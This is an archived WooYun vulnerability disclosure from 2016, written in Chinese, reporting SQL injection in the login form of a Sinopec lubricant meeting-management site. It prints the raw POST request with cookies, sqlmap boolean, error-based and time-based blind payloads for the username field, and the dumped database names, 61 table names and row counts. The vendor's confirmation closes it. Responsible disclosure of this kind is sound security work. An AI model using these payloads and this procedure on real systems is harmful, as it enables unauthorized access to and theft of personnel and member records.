乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-01-04： 细节已通知厂商并且等待厂商处理中 2016-01-04： 厂商已经确认，细节仅向厂商公开 2016-01-14： 细节向核心白帽子及相关领域专家公开 2016-01-24： 细节向普通白帽子公开 2016-02-03： 细节向实习白帽子公开 2016-02-12： 细节向公众公开
如题
1,注入信息:
POST http://meeting.lube.sinopec.com/Public/checkLogin.html HTTP/1.1Host: meeting.lube.sinopec.comConnection: keep-aliveContent-Length: 26Accept: */*Origin: http://meeting.lube.sinopec.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://meeting.lube.sinopec.com/Public/login.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: Hm_lvt_771f45910f57a6af3757eee725673918=1451111550,1451111622,1451814454,1451825893; Hm_lpvt_771f45910f57a6af3757eee725673918=1451825893; PHPSESSID=5valbk3scqhvsfj5gkgtd09j11; CIAM_sys_theme=defaultusrname=admin*&passwd=admin
2,注入信息Parameter: #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: usrname=admin' AND 8069=8069 AND 'vdaR'='vdaR&passwd=admin Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: usrname=admin' AND (SELECT 9859 FROM(SELECT COUNT(*),CONCAT(0x716b7a7071,(SELECT (ELT(9859=9859,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ainW'='ainW&passwd=admin Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: usrname=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))xFeW) AND 'hBpQ'='hBpQ&passwd=admin---web application technology: Apache 2.2.29, PHP 5.4.37back-end DBMS: MySQL 5.03,库web application technology: Apache 2.2.29, PHP 5.4.37back-end DBMS: MySQL 5.0available databases [3]:[*] information_schema[*] meeting_v3[*] test4,表[61 tables]+--------------------------------+| cia_apply_adjust || cia_attachment || cia_business || cia_car || cia_company || cia_cron_notify || cia_driver || cia_eav_attribute || cia_eav_attribute_group || cia_eav_attribute_set || cia_eav_entity_attribute || cia_eav_entity_type || cia_employee || cia_employee_role || cia_evaluation || cia_evaluation_log || cia_evaluation_option || cia_exam || cia_exam_log || cia_exam_option || cia_exam_point_log || cia_meeting || cia_meeting_extend || cia_meeting_files || cia_meeting_large_area || cia_meeting_member || cia_meeting_member_car || cia_meeting_member_hotel || cia_meeting_membergroup || cia_meeting_membergroup_member || cia_meeting_plan || cia_meeting_plugin || cia_meeting_scene || cia_meeting_scene_member || cia_meeting_teacher || cia_meeting_tpl || cia_meeting_type_category || cia_meetingroom || cia_meetingroom_order || cia_msg || cia_notice || cia_permission || cia_plugin || cia_prize || cia_prize_log || cia_respond_tender || cia_role || cia_role_language || cia_role_permission || cia_setting || cia_site || cia_system_log || cia_tag_relate || cia_tags || cia_teacher || cia_wx_apps || cia_wx_department || cia_wx_department_apps || cia_wx_department_user || cia_wx_menu || cia_wx_user |+--------------------------------+Database: meeting_v3+--------------------------------+---------+| Table | Entries |+--------------------------------+---------+| cia_exam_log | 57914 || cia_exam_option | 45488 || cia_meeting_member | 22348 || cia_wx_user | 18942 || cia_evaluation_log | 12009 || cia_system_log | 10606 || cia_evaluation_option | 8549 || cia_meeting_plugin | 6605 || cia_notice | 5185 || cia_wx_department_user | 3785 || cia_prize_log | 3198 || cia_evaluation | 1710 || cia_msg | 1599 || cia_prize | 1288 || cia_meeting | 1242 || cia_meeting_scene_member | 1185 || cia_exam | 1076 || cia_exam_point_log | 848 || cia_employee | 738 || cia_employee_role | 717 || cia_meeting_teacher | 475 || cia_role_permission | 433 || cia_teacher | 187 || cia_meeting_files | 148 || cia_permission | 140 || cia_wx_department_apps | 123 || cia_meetingroom_order | 116 || cia_wx_department | 107 || cia_meeting_membergroup_member | 89 || cia_apply_adjust | 82 || cia_meeting_extend | 57 || cia_tag_relate | 57 || cia_meeting_type_category | 56 || cia_meeting_large_area | 54 || cia_meeting_tpl | 53 || cia_meeting_scene | 52 || cia_business | 50 || cia_meeting_membergroup | 32 || cia_cron_notify | 31 || cia_meeting_member_hotel | 28 || cia_meetingroom | 20 || cia_tags | 20 || cia_meeting_plan | 19 || cia_wx_menu | 14 || cia_plugin | 12 || cia_role | 4 || cia_wx_apps | 2 || cia_car | 1 || cia_company | 1 || cia_setting | 1 |+--------------------------------+---------+
5,不继续了
Fix
危害等级：中
漏洞Rank：5
确认时间：2016-01-04 13:37
谢谢！我们会尽快修复！
暂无
